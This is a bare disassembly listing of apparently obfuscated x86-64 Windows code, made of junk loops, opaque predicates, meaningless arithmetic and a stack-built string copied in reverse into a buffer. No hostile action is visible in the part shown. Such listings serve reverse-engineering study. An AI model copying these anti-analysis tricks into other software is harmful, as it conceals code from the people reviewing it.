movzx eax, byte [rsp + 0x77]
test eax, eax
jne 0x1400b6c74
movzx eax, byte [rsp + 0x78]
test eax, eax
je 0x1400b6d1d
mov dword [rsp + 0x2f4], 0x1267e
mov dword [rsp + 0x5f4], 0
jmp 0x1400b6c9c
mov eax, dword [rsp + 0x5f4]
inc eax
mov dword [rsp + 0x5f4], eax
cmp dword [rsp + 0x5f4], 0x2b
jge 0x1400b6cc6
cmp dword [rsp + 0x2f4], 0
jge 0x1400b6cb4
jmp 0x1400b6cc6
mov eax, dword [rsp + 0x2f4]
dec eax
mov dword [rsp + 0x2f4], eax
jmp 0x1400b6c8c
mov dword [rsp + 0x2f4], 0xe8663
mov dword [rsp + 0x5f8], 0
cmp dword [rsp + 0x5f8], 0x37
jge 0x1400b6d18
movzx eax, byte [rsp + 0x78]
test eax, eax
je 0x1400b6cf8
movzx eax, byte [rsp + 0x77]
test eax, eax
jne 0x1400b6d01
movzx eax, byte [rsp + 0x77]
test eax, eax
jne 0x1400b6d06
mov byte [rsp + 0x78], 0
mov eax, dword [rsp + 0x5f8]
inc eax
mov dword [rsp + 0x5f8], eax
jmp 0x1400b6cdc
jmp 0x1400b6f75
lea rax, [rsp + 0x56d0]
mov rdi, rax
xor eax, eax
mov ecx, 0xf00
rep stosb byte [rdi], al
mov dword [rsp + 0x2f8], 0
jmp 0x1400b6d4e
mov eax, dword [rsp + 0x2f8]
inc eax
mov dword [rsp + 0x2f8], eax
movsxd rax, dword [rsp + 0x2f8]
cmp rax, 8
jae 0x1400b6db3
mov dword [rsp + 0x2fc], 0
jmp 0x1400b6d79
mov eax, dword [rsp + 0x2fc]
inc eax
mov dword [rsp + 0x2fc], eax
cmp dword [rsp + 0x2fc], 0x3c
jge 0x1400b6db1
movsxd rax, dword [rsp + 0x2f8]
imul rax, rax, 0x1e0
lea rax, [rsp + rax + 0x56d0]
movsxd rcx, dword [rsp + 0x2fc]
movsd xmm0, qword [0x140123278]
movsd qword [rax + rcx*8], xmm0
jmp 0x1400b6d69
jmp 0x1400b6d3e
lea rax, [rsp + 0x65d0]
mov rdi, rax
xor eax, eax
mov ecx, 0xf00
rep stosb byte [rdi], al
mov dword [rsp + 0x194], 0
jmp 0x1400b6de4
mov eax, dword [rsp + 0x194]
inc eax
mov dword [rsp + 0x194], eax
movsxd rax, dword [rsp + 0x194]
cmp rax, 8
jae 0x1400b6e49
mov dword [rsp + 0x198], 0
jmp 0x1400b6e0f
mov eax, dword [rsp + 0x198]
inc eax
mov dword [rsp + 0x198], eax
cmp dword [rsp + 0x198], 0x3c
jge 0x1400b6e47
movsxd rax, dword [rsp + 0x194]
imul rax, rax, 0x1e0
lea rax, [rsp + rax + 0x65d0]
movsxd rcx, dword [rsp + 0x198]
movsd xmm0, qword [0x140124f80]
movsd qword [rax + rcx*8], xmm0
jmp 0x1400b6dff
jmp 0x1400b6dd4
lea rax, [rsp + 0x74d0]
mov rdi, rax
xor eax, eax
mov ecx, 0xf00
rep stosb byte [rdi], al
mov dword [rsp + 0x19c], 0
jmp 0x1400b6e7a
mov eax, dword [rsp + 0x19c]
inc eax
mov dword [rsp + 0x19c], eax
movsxd rax, dword [rsp + 0x19c]
cmp rax, 8
jae 0x1400b6edf
mov dword [rsp + 0x120], 0
jmp 0x1400b6ea5
mov eax, dword [rsp + 0x120]
inc eax
mov dword [rsp + 0x120], eax
cmp dword [rsp + 0x120], 0x3c
jge 0x1400b6edd
movsxd rax, dword [rsp + 0x19c]
imul rax, rax, 0x1e0
lea rax, [rsp + rax + 0x74d0]
movsxd rcx, dword [rsp + 0x120]
movsd xmm0, qword [0x140122c58]
movsd qword [rax + rcx*8], xmm0
jmp 0x1400b6e95
jmp 0x1400b6e6a
lea rax, [rsp + 0x8f30]
mov rdi, rax
xor eax, eax
mov ecx, 0xf00
rep stosb byte [rdi], al
mov dword [rsp + 0x124], 0
jmp 0x1400b6f10
mov eax, dword [rsp + 0x124]
inc eax
mov dword [rsp + 0x124], eax
movsxd rax, dword [rsp + 0x124]
cmp rax, 8
jae 0x1400b6f75
mov dword [rsp + 0x128], 0
jmp 0x1400b6f3b
mov eax, dword [rsp + 0x128]
inc eax
mov dword [rsp + 0x128], eax
cmp dword [rsp + 0x128], 0x3c
jge 0x1400b6f73
movsxd rax, dword [rsp + 0x124]
imul rax, rax, 0x1e0
lea rax, [rsp + rax + 0x8f30]
movsxd rcx, dword [rsp + 0x128]
movsd xmm0, qword [0x140124960]
movsd qword [rax + rcx*8], xmm0
jmp 0x1400b6f2b
jmp 0x1400b6f00
mov byte [rsp + 0x3db], 0
mov byte [rsp + 0x3dc], 0
mov byte [rsp + 0x79], 0
mov byte [rsp + 0x7a], 1
movzx eax, byte [rsp + 0x79]
test eax, eax
jne 0x1400b6fa5
movzx eax, byte [rsp + 0x7a]
test eax, eax
je 0x1400b704e
mov dword [rsp + 0x12c], 0xa061
mov dword [rsp + 0x5fc], 0
jmp 0x1400b6fcd
mov eax, dword [rsp + 0x5fc]
inc eax
mov dword [rsp + 0x5fc], eax
cmp dword [rsp + 0x5fc], 0x20
jge 0x1400b6ff7
cmp dword [rsp + 0x12c], 0
jge 0x1400b6fe5
jmp 0x1400b6ff7
mov eax, dword [rsp + 0x12c]
dec eax
mov dword [rsp + 0x12c], eax
jmp 0x1400b6fbd
mov dword [rsp + 0x12c], 0x2f2ec
mov dword [rsp + 0x600], 0
cmp dword [rsp + 0x600], 0x10
jge 0x1400b7049
movzx eax, byte [rsp + 0x79]
test eax, eax
je 0x1400b7029
movzx eax, byte [rsp + 0x7a]
test eax, eax
jne 0x1400b7032
movzx eax, byte [rsp + 0x79]
test eax, eax
jne 0x1400b7037
mov byte [rsp + 0x7a], 0
mov eax, dword [rsp + 0x600]
inc eax
mov dword [rsp + 0x600], eax
jmp 0x1400b700d
jmp 0x1400b70f3
mov dword [rsp + 0xe28], 0x120fe
mov dword [rsp + 0xe2c], 0xba3e
mov dword [rsp + 0xe30], 0x5019
mov dword [rsp + 0xe34], 0x14973
mov dword [rsp + 0xe38], 0x1222
mov dword [rsp + 0xe3c], 0x1087a
mov dword [rsp + 0xe40], 0x12dbb
mov dword [rsp + 0xe44], 0x31a1
mov dword [rsp + 0xe48], 0x1691e
mov dword [rsp + 0xe4c], 0x9d3
mov dword [rsp + 0xe50], 0x32ec
mov dword [rsp + 0xe54], 0xf7da
mov dword [rsp + 0xe58], 0x21d2
mov dword [rsp + 0xe5c], 0x15bbe
mov dword [rsp + 0xe60], 0x9d8e
mov byte [rsp + 0x3dd], 0
mov byte [rsp + 0xda], 1
mov byte [rsp + 0x7c], 1
mov byte [rsp + 0x7b], 1
movzx eax, byte [rsp + 0xda]
test eax, eax
jne 0x1400b712f
movzx eax, byte [rsp + 0x7c]
test eax, eax
jne 0x1400b712f
movzx eax, byte [rsp + 0x7b]
test eax, eax
je 0x1400b71d8
mov dword [rsp + 0x130], 0x5b4a
mov dword [rsp + 0x604], 0
jmp 0x1400b7157
mov eax, dword [rsp + 0x604]
inc eax
mov dword [rsp + 0x604], eax
cmp dword [rsp + 0x604], 0xe
jge 0x1400b7181
cmp dword [rsp + 0x130], 0
jge 0x1400b716f
jmp 0x1400b7181
mov eax, dword [rsp + 0x130]
dec eax
mov dword [rsp + 0x130], eax
jmp 0x1400b7147
mov dword [rsp + 0x130], 0xd80a3
mov dword [rsp + 0x608], 0
cmp dword [rsp + 0x608], 6
jge 0x1400b71d3
movzx eax, byte [rsp + 0x7c]
test eax, eax
je 0x1400b71b3
movzx eax, byte [rsp + 0x7b]
test eax, eax
jne 0x1400b71bc
movzx eax, byte [rsp + 0x7b]
test eax, eax
jne 0x1400b71c1
mov byte [rsp + 0x7c], 1
mov eax, dword [rsp + 0x608]
inc eax
mov dword [rsp + 0x608], eax
jmp 0x1400b7197
jmp 0x1400b7abb
mov byte [rsp + 0x3de], 1
mov byte [rsp + 0xb1], 1
mov byte [rsp + 0xdb], 1
mov byte [rsp + 0x4b], 1
movzx eax, byte [rsp + 0xb1]
test eax, eax
jne 0x1400b721a
movzx eax, byte [rsp + 0xdb]
test eax, eax
jne 0x1400b721a
movzx eax, byte [rsp + 0x4b]
test eax, eax
je 0x1400b72c1
mov dword [rsp + 0x134], 0x26de
mov dword [rsp + 0x60c], 0
jmp 0x1400b7242
mov eax, dword [rsp + 0x60c]
inc eax
mov dword [rsp + 0x60c], eax
cmp dword [rsp + 0x60c], 0x26
jge 0x1400b726c
cmp dword [rsp + 0x134], 0
jge 0x1400b725a
jmp 0x1400b726c
mov eax, dword [rsp + 0x134]
dec eax
mov dword [rsp + 0x134], eax
jmp 0x1400b7232
mov dword [rsp + 0x134], 0x42bd4
mov dword [rsp + 0x610], 0
cmp dword [rsp + 0x610], 0x30
jge 0x1400b72c1
movzx eax, byte [rsp + 0x4b]
test eax, eax
je 0x1400b729e
movzx eax, byte [rsp + 0x4b]
test eax, eax
jne 0x1400b72a7
movzx eax, byte [rsp + 0x4b]
test eax, eax
jne 0x1400b72af
mov byte [rsp + 0xb1], 1
mov eax, dword [rsp + 0x610]
inc eax
mov dword [rsp + 0x610], eax
jmp 0x1400b7282
mov byte [rsp + 0x3df], 0
mov byte [rsp + 0x2f], 1
movzx eax, byte [rsp + 0x2f]
test eax, eax
je 0x1400b737f
mov dword [rsp + 0x138], 0xb5bb
mov dword [rsp + 0x614], 0
jmp 0x1400b7303
mov eax, dword [rsp + 0x614]
inc eax
mov dword [rsp + 0x614], eax
cmp dword [rsp + 0x614], 0x25
jge 0x1400b732d
cmp dword [rsp + 0x138], 0
jge 0x1400b731b
jmp 0x1400b732d
mov eax, dword [rsp + 0x138]
dec eax
mov dword [rsp + 0x138], eax
jmp 0x1400b72f3
mov dword [rsp + 0x138], 0x7c7d4
mov dword [rsp + 0x618], 0
cmp dword [rsp + 0x618], 0x4d
jge 0x1400b737f
movzx eax, byte [rsp + 0x2f]
test eax, eax
je 0x1400b735f
movzx eax, byte [rsp + 0x2f]
test eax, eax
jne 0x1400b7368
movzx eax, byte [rsp + 0x2f]
test eax, eax
jne 0x1400b736d
mov byte [rsp + 0x2f], 1
mov eax, dword [rsp + 0x618]
inc eax
mov dword [rsp + 0x618], eax
jmp 0x1400b7343
mov byte [rsp + 0x3e0], 1
mov byte [rsp + 0x3e1], 0
mov byte [rsp + 0x3e2], 1
mov byte [rsp + 0x3e3], 1
mov byte [rsp + 0x7d], 0
mov byte [rsp + 0x7e], 1
movzx eax, byte [rsp + 0x7d]
test eax, eax
je 0x1400b746c
movzx eax, byte [rsp + 0x7e]
test eax, eax
je 0x1400b746c
mov dword [rsp + 0x13c], 0xca62
mov dword [rsp + 0x61c], 0
jmp 0x1400b73eb
mov eax, dword [rsp + 0x61c]
inc eax
mov dword [rsp + 0x61c], eax
cmp dword [rsp + 0x61c], 0x1d
jge 0x1400b7415
cmp dword [rsp + 0x13c], 0
jge 0x1400b7403
jmp 0x1400b7415
mov eax, dword [rsp + 0x13c]
dec eax
mov dword [rsp + 0x13c], eax
jmp 0x1400b73db
mov dword [rsp + 0x13c], 0x3cb66
mov dword [rsp + 0x620], 0
cmp dword [rsp + 0x620], 0x13
jge 0x1400b7467
movzx eax, byte [rsp + 0x7e]
test eax, eax
je 0x1400b7447
movzx eax, byte [rsp + 0x7d]
test eax, eax
jne 0x1400b7450
movzx eax, byte [rsp + 0x7d]
test eax, eax
jne 0x1400b7455
mov byte [rsp + 0x7e], 1
mov eax, dword [rsp + 0x620]
inc eax
mov dword [rsp + 0x620], eax
jmp 0x1400b742b
jmp 0x1400b7921
mov byte [rsp + 0x3e4], 0
mov byte [rsp + 0x4c], 0
mov byte [rsp + 0xb2], 0
movzx eax, byte [rsp + 0x4c]
test eax, eax
je 0x1400b7545
movzx eax, byte [rsp + 0xb2]
test eax, eax
je 0x1400b7545
mov dword [rsp + 0x140], 0x4c6e
mov dword [rsp + 0x624], 0
jmp 0x1400b74c6
mov eax, dword [rsp + 0x624]
inc eax
mov dword [rsp + 0x624], eax
cmp dword [rsp + 0x624], 0x24
jge 0x1400b74f0
cmp dword [rsp + 0x140], 0
jge 0x1400b74de
jmp 0x1400b74f0
mov eax, dword [rsp + 0x140]
dec eax
mov dword [rsp + 0x140], eax
jmp 0x1400b74b6
mov dword [rsp + 0x140], 0x653ab
mov dword [rsp + 0x628], 0
cmp dword [rsp + 0x628], 2
jge 0x1400b7545
movzx eax, byte [rsp + 0x4c]
test eax, eax
je 0x1400b7522
movzx eax, byte [rsp + 0x4c]
test eax, eax
jne 0x1400b752e
movzx eax, byte [rsp + 0xb2]
test eax, eax
jne 0x1400b7533
mov byte [rsp + 0x4c], 0
mov eax, dword [rsp + 0x628]
inc eax
mov dword [rsp + 0x628], eax
jmp 0x1400b7506
mov byte [rsp + 0x3e5], 1
mov byte [rsp + 0xb3], 1
mov byte [rsp + 0xdc], 0
mov byte [rsp + 0x4d], 1
movzx eax, byte [rsp + 0xb3]
test eax, eax
je 0x1400b757a
movzx eax, byte [rsp + 0xdc]
test eax, eax
jne 0x1400b7587
movzx eax, byte [rsp + 0x4d]
test eax, eax
je 0x1400b7633
mov dword [rsp + 0x144], 0x17fd4
mov dword [rsp + 0x62c], 0
jmp 0x1400b75af
mov eax, dword [rsp + 0x62c]
inc eax
mov dword [rsp + 0x62c], eax
cmp dword [rsp + 0x62c], 0x15
jge 0x1400b75d9
cmp dword [rsp + 0x144], 0
jge 0x1400b75c7
jmp 0x1400b75d9
mov eax, dword [rsp + 0x144]
dec eax
mov dword [rsp + 0x144], eax
jmp 0x1400b759f
mov dword [rsp + 0x144], 0xd9ae9
mov dword [rsp + 0x630], 0
cmp dword [rsp + 0x630], 0x22
jge 0x1400b762e
movzx eax, byte [rsp + 0x4d]
test eax, eax
je 0x1400b760b
movzx eax, byte [rsp + 0x4d]
test eax, eax
jne 0x1400b7614
movzx eax, byte [rsp + 0x4d]
test eax, eax
jne 0x1400b761c
mov byte [rsp + 0xb3], 1
mov eax, dword [rsp + 0x630]
inc eax
mov dword [rsp + 0x630], eax
jmp 0x1400b75ef
jmp 0x1400b7830
mov dword [rsp + 0x834], 0x1ee7
mov dword [rsp + 0x7a4], 0x8fc
mov eax, 0xd96
sub eax, dword [rsp + 0x7a4]
add eax, 0x931
mov dword [rsp + 0x838], eax
mov eax, dword [rsp + 0x7a4]
cdq
mov ecx, 0x51b
idiv ecx
cdq
idiv dword [rsp + 0x834]
mov ecx, dword [rsp + 0x838]
sub ecx, eax
mov eax, ecx
add eax, 0x901
cdqe
mov qword [rsp + 0xbe0], rax
mov dword [rsp + 0x148], 0x4f5
mov dword [rsp + 0x940], 0x13f8
mov eax, dword [rsp + 0x148]
mov ecx, dword [rsp + 0x148]
lea eax, [rax + rcx + 0x29c5]
sub eax, dword [rsp + 0x148]
mov dword [rsp + 0x83c], eax
mov eax, dword [rsp + 0x148]
cdq
mov ecx, 0x23f0
idiv ecx
mov ecx, dword [rsp + 0x83c]
lea eax, [rcx + rax - 0x16e9]
mov dword [rsp + 0x944], eax
mov eax, 0x215f
mov word [rsp + 0xec], ax
mov qword [rsp + 0xa28], 0x23ff
movsx eax, word [rsp + 0xec]
mov ecx, 0x632
sub ecx, eax
mov eax, ecx
sub eax, 0x10b
cdqe
sub rax, qword [rsp + 0xa28]
mov qword [rsp + 0xa30], rax
movsx ecx, word [rsp + 0xec]
mov eax, ecx
cdq
mov ecx, 0x4a
idiv ecx
cdqe
mov rcx, qword [rsp + 0xa30]
lea rax, [rcx + rax + 0x1aa5]
mov qword [rsp + 0xa38], rax
movsx ecx, word [rsp + 0xec]
mov eax, ecx
cdq
mov ecx, 0x478
idiv ecx
cdqe
mov rcx, qword [rsp + 0xa38]
add rcx, rax
mov rax, rcx
mov dword [rsp + 0x948], eax
mov qword [rsp + 0x8a0], 0x1921
mov qword [rsp + 0xa40], 0x8a4
mov eax, 0xe2d
sub rax, qword [rsp + 0xa40]
add rax, 0x176a
mov qword [rsp + 0xa48], rax
mov rax, qword [rsp + 0x8a0]
cqo
mov ecx, 0x26e8
idiv rcx
mov rcx, qword [rsp + 0xa48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa50], rax
mov rax, qword [rsp + 0x8a0]
cqo
mov ecx, 0x1342
idiv rcx
mov rcx, qword [rsp + 0xa50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa58], rax
mov rax, qword [rsp + 0x8a0]
cqo
mov ecx, 0xb86
idiv rcx
mov rcx, qword [rsp + 0xa58]
add rcx, rax
mov rax, rcx
mov word [rsp + 0x7d8], ax
mov byte [rsp + 0x3e6], 1
mov byte [rsp + 0x4e], 0
mov byte [rsp + 0xb4], 0
movzx eax, byte [rsp + 0x4e]
test eax, eax
je 0x1400b7909
movzx eax, byte [rsp + 0xb4]
test eax, eax
je 0x1400b7909
mov dword [rsp + 0x14c], 0x18544
mov dword [rsp + 0x634], 0
jmp 0x1400b788a
mov eax, dword [rsp + 0x634]
inc eax
mov dword [rsp + 0x634], eax
cmp dword [rsp + 0x634], 0x28
jge 0x1400b78b4
cmp dword [rsp + 0x14c], 0
jge 0x1400b78a2
jmp 0x1400b78b4
mov eax, dword [rsp + 0x14c]
dec eax
mov dword [rsp + 0x14c], eax
jmp 0x1400b787a
mov dword [rsp + 0x14c], 0x3e6fe
mov dword [rsp + 0x638], 0
cmp dword [rsp + 0x638], 0x2b
jge 0x1400b7909
movzx eax, byte [rsp + 0x4e]
test eax, eax
je 0x1400b78e9
movzx eax, byte [rsp + 0xb4]
test eax, eax
jne 0x1400b78f2
movzx eax, byte [rsp + 0x4e]
test eax, eax
jne 0x1400b78f7
mov byte [rsp + 0x4e], 0
mov eax, dword [rsp + 0x638]
inc eax
mov dword [rsp + 0x638], eax
jmp 0x1400b78ca
mov byte [rsp + 0x3e7], 1
mov byte [rsp + 0x3e8], 0
mov byte [rsp + 0x3e9], 1
mov byte [rsp + 0x3ea], 0
mov byte [rsp + 0x7f], 1
mov byte [rsp + 0x80], 1
movzx eax, byte [rsp + 0x7f]
test eax, eax
je 0x1400b79fd
movzx eax, byte [rsp + 0x80]
test eax, eax
je 0x1400b79fd
mov dword [rsp + 0x150], 0x1048a
mov dword [rsp + 0x63c], 0
jmp 0x1400b797b
mov eax, dword [rsp + 0x63c]
inc eax
mov dword [rsp + 0x63c], eax
cmp dword [rsp + 0x63c], 0x13
jge 0x1400b79a5
cmp dword [rsp + 0x150], 0
jge 0x1400b7993
jmp 0x1400b79a5
mov eax, dword [rsp + 0x150]
dec eax
mov dword [rsp + 0x150], eax
jmp 0x1400b796b
mov dword [rsp + 0x150], 0xb4132
mov dword [rsp + 0x640], 0
cmp dword [rsp + 0x640], 0x25
jge 0x1400b79fd
movzx eax, byte [rsp + 0x7f]
test eax, eax
je 0x1400b79da
movzx eax, byte [rsp + 0x80]
test eax, eax
jne 0x1400b79e3
movzx eax, byte [rsp + 0x7f]
test eax, eax
jne 0x1400b79eb
mov byte [rsp + 0x80], 1
mov eax, dword [rsp + 0x640]
inc eax
mov dword [rsp + 0x640], eax
jmp 0x1400b79bb
mov byte [rsp + 0x3eb], 1
mov byte [rsp + 0x30], 0
movzx eax, byte [rsp + 0x30]
test eax, eax
je 0x1400b7abb
mov dword [rsp + 0x154], 0x182a7
mov dword [rsp + 0x644], 0
jmp 0x1400b7a3f
mov eax, dword [rsp + 0x644]
inc eax
mov dword [rsp + 0x644], eax
cmp dword [rsp + 0x644], 0x1e
jge 0x1400b7a69
cmp dword [rsp + 0x154], 0
jge 0x1400b7a57
jmp 0x1400b7a69
mov eax, dword [rsp + 0x154]
dec eax
mov dword [rsp + 0x154], eax
jmp 0x1400b7a2f
mov dword [rsp + 0x154], 0xa7696
mov dword [rsp + 0x648], 0
cmp dword [rsp + 0x648], 0x35
jge 0x1400b7abb
movzx eax, byte [rsp + 0x30]
test eax, eax
je 0x1400b7a9b
movzx eax, byte [rsp + 0x30]
test eax, eax
jne 0x1400b7aa4
movzx eax, byte [rsp + 0x30]
test eax, eax
jne 0x1400b7aa9
mov byte [rsp + 0x30], 1
mov eax, dword [rsp + 0x648]
inc eax
mov dword [rsp + 0x648], eax
jmp 0x1400b7a7f
mov byte [rsp + 0x3ec], 0
mov byte [rsp + 0xb5], 1
mov byte [rsp + 0xb6], 0
mov byte [rsp + 0x81], 1
movzx eax, byte [rsp + 0xb5]
test eax, eax
jne 0x1400b7b03
movzx eax, byte [rsp + 0xb6]
test eax, eax
jne 0x1400b7b03
movzx eax, byte [rsp + 0x81]
test eax, eax
je 0x1400b7bb8
mov dword [rsp + 0x158], 0xa0e3
mov dword [rsp + 0x64c], 0
jmp 0x1400b7b2b
mov eax, dword [rsp + 0x64c]
inc eax
mov dword [rsp + 0x64c], eax
cmp dword [rsp + 0x64c], 0xb
jge 0x1400b7b55
cmp dword [rsp + 0x158], 0
jge 0x1400b7b43
jmp 0x1400b7b55
mov eax, dword [rsp + 0x158]
dec eax
mov dword [rsp + 0x158], eax
jmp 0x1400b7b1b
mov dword [rsp + 0x158], 0xf0897
mov dword [rsp + 0x650], 0
cmp dword [rsp + 0x650], 0x56
jge 0x1400b7bb3
movzx eax, byte [rsp + 0x81]
test eax, eax
je 0x1400b7b8d
movzx eax, byte [rsp + 0xb5]
test eax, eax
jne 0x1400b7b99
movzx eax, byte [rsp + 0x81]
test eax, eax
jne 0x1400b7ba1
mov byte [rsp + 0xb6], 0
mov eax, dword [rsp + 0x650]
inc eax
mov dword [rsp + 0x650], eax
jmp 0x1400b7b6b
jmp 0x1400b8e98
mov byte [rsp + 0x3ed], 1
mov byte [rsp + 0x3ee], 1
mov byte [rsp + 0x31], 1
movzx eax, byte [rsp + 0x31]
test eax, eax
je 0x1400b7c83
mov dword [rsp + 0x15c], 0xa6cb
mov dword [rsp + 0x654], 0
jmp 0x1400b7c02
mov eax, dword [rsp + 0x654]
inc eax
mov dword [rsp + 0x654], eax
cmp dword [rsp + 0x654], 0x1b
jge 0x1400b7c2c
cmp dword [rsp + 0x15c], 0
jge 0x1400b7c1a
jmp 0x1400b7c2c
mov eax, dword [rsp + 0x15c]
dec eax
mov dword [rsp + 0x15c], eax
jmp 0x1400b7bf2
mov dword [rsp + 0x15c], 0x98e72
mov dword [rsp + 0x658], 0
cmp dword [rsp + 0x658], 0xd
jge 0x1400b7c7e
movzx eax, byte [rsp + 0x31]
test eax, eax
je 0x1400b7c5e
movzx eax, byte [rsp + 0x31]
test eax, eax
jne 0x1400b7c67
movzx eax, byte [rsp + 0x31]
test eax, eax
jne 0x1400b7c6c
mov byte [rsp + 0x31], 1
mov eax, dword [rsp + 0x658]
inc eax
mov dword [rsp + 0x658], eax
jmp 0x1400b7c42
jmp 0x1400b8993
mov byte [rsp + 0x3ef], 1
mov byte [rsp + 0x32], 1
movzx eax, byte [rsp + 0x32]
test eax, eax
je 0x1400b7d46
mov dword [rsp + 0x160], 0x13536
mov dword [rsp + 0x65c], 0
jmp 0x1400b7cc5
mov eax, dword [rsp + 0x65c]
inc eax
mov dword [rsp + 0x65c], eax
cmp dword [rsp + 0x65c], 0x16
jge 0x1400b7cef
cmp dword [rsp + 0x160], 0
jge 0x1400b7cdd
jmp 0x1400b7cef
mov eax, dword [rsp + 0x160]
dec eax
mov dword [rsp + 0x160], eax
jmp 0x1400b7cb5
mov dword [rsp + 0x160], 0x8c50f
mov dword [rsp + 0x660], 0
cmp dword [rsp + 0x660], 0x3f
jge 0x1400b7d41
movzx eax, byte [rsp + 0x32]
test eax, eax
je 0x1400b7d21
movzx eax, byte [rsp + 0x32]
test eax, eax
jne 0x1400b7d2a
movzx eax, byte [rsp + 0x32]
test eax, eax
jne 0x1400b7d2f
mov byte [rsp + 0x32], 1
mov eax, dword [rsp + 0x660]
inc eax
mov dword [rsp + 0x660], eax
jmp 0x1400b7d05
jmp 0x1400b7fd4
mov byte [rsp + 0x3f0], 0
mov byte [rsp + 0x3f1], 1
mov byte [rsp + 0x3f2], 0
mov byte [rsp + 0x3f3], 0
mov byte [rsp + 0x3f4], 1
mov byte [rsp + 0x33], 1
movzx eax, byte [rsp + 0x33]
test eax, eax
je 0x1400b7e29
mov dword [rsp + 0x164], 0xb57
mov dword [rsp + 0x664], 0
jmp 0x1400b7da8
mov eax, dword [rsp + 0x664]
inc eax
mov dword [rsp + 0x664], eax
cmp dword [rsp + 0x664], 0xe
jge 0x1400b7dd2
cmp dword [rsp + 0x164], 0
jge 0x1400b7dc0
jmp 0x1400b7dd2
mov eax, dword [rsp + 0x164]
dec eax
mov dword [rsp + 0x164], eax
jmp 0x1400b7d98
mov dword [rsp + 0x164], 0x7caae
mov dword [rsp + 0x668], 0
cmp dword [rsp + 0x668], 0x33
jge 0x1400b7e24
movzx eax, byte [rsp + 0x33]
test eax, eax
je 0x1400b7e04
movzx eax, byte [rsp + 0x33]
test eax, eax
jne 0x1400b7e0d
movzx eax, byte [rsp + 0x33]
test eax, eax
jne 0x1400b7e12
mov byte [rsp + 0x33], 1
mov eax, dword [rsp + 0x668]
inc eax
mov dword [rsp + 0x668], eax
jmp 0x1400b7de8
jmp 0x1400b7f16
mov byte [rsp + 0x1c7a0], 0x66
mov byte [rsp + 0x1c7a1], 0x41
mov byte [rsp + 0x1c7a2], 0x4e
mov byte [rsp + 0x1c7a3], 0x71
mov byte [rsp + 0x1c7a4], 0x75
mov byte [rsp + 0x1c7a5], 0x7a
mov byte [rsp + 0x1c7a6], 0x72
mov byte [rsp + 0x1c7a7], 0x30
mov byte [rsp + 0x1c7a8], 0x44
mov byte [rsp + 0x1c7a9], 0x47
mov byte [rsp + 0x1c7aa], 0x72
lea rcx, [rsp + 0x1c7a0]
call fcn.1401104b0
mov qword [rsp + 0xa60], rax
mov rcx, qword [rsp + 0xa60]
call fcn.14010830c
mov qword [rsp + 0xa68], rax
mov rax, qword [rsp + 0xa68]
mov qword [rsp + 0xa70], rax
mov dword [rsp + 0x118], 0
jmp 0x1400b7ed8
mov eax, dword [rsp + 0x118]
inc eax
mov dword [rsp + 0x118], eax
movsxd rax, dword [rsp + 0x118]
cmp rax, 0xb
jae 0x1400b7f16
movsxd rax, dword [rsp + 0x118]
mov ecx, SafeArrayDestroy
sub rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x118]
mov rdx, qword [rsp + 0xa70]
movzx eax, byte [rsp + rax + 0x1c7a0]
mov byte [rdx + rcx], al
jmp 0x1400b7ec8
mov byte [rsp + 0x3f5], 0
mov byte [rsp + 0x34], 1
movzx eax, byte [rsp + 0x34]
test eax, eax
je 0x1400b7fd4
mov dword [rsp + 0x168], 0x66ae
mov dword [rsp + 0x66c], 0
jmp 0x1400b7f58
mov eax, dword [rsp + 0x66c]
inc eax
mov dword [rsp + 0x66c], eax
cmp dword [rsp + 0x66c], 0xe
jge 0x1400b7f82
cmp dword [rsp + 0x168], 0
jge 0x1400b7f70
jmp 0x1400b7f82
mov eax, dword [rsp + 0x168]
dec eax
mov dword [rsp + 0x168], eax
jmp 0x1400b7f48
mov dword [rsp + 0x168], 0x37e8
mov dword [rsp + 0x670], 0
cmp dword [rsp + 0x670], 0x3f
jge 0x1400b7fd4
movzx eax, byte [rsp + 0x34]
test eax, eax
je 0x1400b7fb4
movzx eax, byte [rsp + 0x34]
test eax, eax
jne 0x1400b7fbd
movzx eax, byte [rsp + 0x34]
test eax, eax
jne 0x1400b7fc2
mov byte [rsp + 0x34], 1
mov eax, dword [rsp + 0x670]
inc eax
mov dword [rsp + 0x670], eax
jmp 0x1400b7f98
mov byte [rsp + 0x3f6], 1
mov byte [rsp + 0x35], 0
movzx eax, byte [rsp + 0x35]
test eax, eax
je 0x1400b8092
mov dword [rsp + 0x16c], 0x13c73
mov dword [rsp + 0x674], 0
jmp 0x1400b8016
mov eax, dword [rsp + 0x674]
inc eax
mov dword [rsp + 0x674], eax
cmp dword [rsp + 0x674], 0xc
jge 0x1400b8040
cmp dword [rsp + 0x16c], 0
jge 0x1400b802e
jmp 0x1400b8040
mov eax, dword [rsp + 0x16c]
dec eax
mov dword [rsp + 0x16c], eax
jmp 0x1400b8006
mov dword [rsp + 0x16c], 0xdd0e9
mov dword [rsp + 0x678], 0
cmp dword [rsp + 0x678], 0x15
jge 0x1400b8092
movzx eax, byte [rsp + 0x35]
test eax, eax
je 0x1400b8072
movzx eax, byte [rsp + 0x35]
test eax, eax
jne 0x1400b807b
movzx eax, byte [rsp + 0x35]
test eax, eax
jne 0x1400b8080
mov byte [rsp + 0x35], 1
mov eax, dword [rsp + 0x678]
inc eax
mov dword [rsp + 0x678], eax
jmp 0x1400b8056
mov byte [rsp + 0x3f7], 1
mov byte [rsp + 0x4f], 1
mov byte [rsp + 0xb7], 0
movzx eax, byte [rsp + 0x4f]
test eax, eax
je 0x1400b8170
movzx eax, byte [rsp + 0xb7]
test eax, eax
je 0x1400b8170
mov dword [rsp + 0x170], 0x67ba
mov dword [rsp + 0x67c], 0
jmp 0x1400b80ec
mov eax, dword [rsp + 0x67c]
inc eax
mov dword [rsp + 0x67c], eax
cmp dword [rsp + 0x67c], 0x16
jge 0x1400b8116
cmp dword [rsp + 0x170], 0
jge 0x1400b8104
jmp 0x1400b8116
mov eax, dword [rsp + 0x170]
dec eax
mov dword [rsp + 0x170], eax
jmp 0x1400b80dc
mov dword [rsp + 0x170], 0x5a814
mov dword [rsp + 0x680], 0
cmp dword [rsp + 0x680], 0x27
jge 0x1400b816b
movzx eax, byte [rsp + 0xb7]
test eax, eax
je 0x1400b814b
movzx eax, byte [rsp + 0x4f]
test eax, eax
jne 0x1400b8154
movzx eax, byte [rsp + 0x4f]
test eax, eax
jne 0x1400b8159
mov byte [rsp + 0x4f], 1
mov eax, dword [rsp + 0x680]
inc eax
mov dword [rsp + 0x680], eax
jmp 0x1400b812c
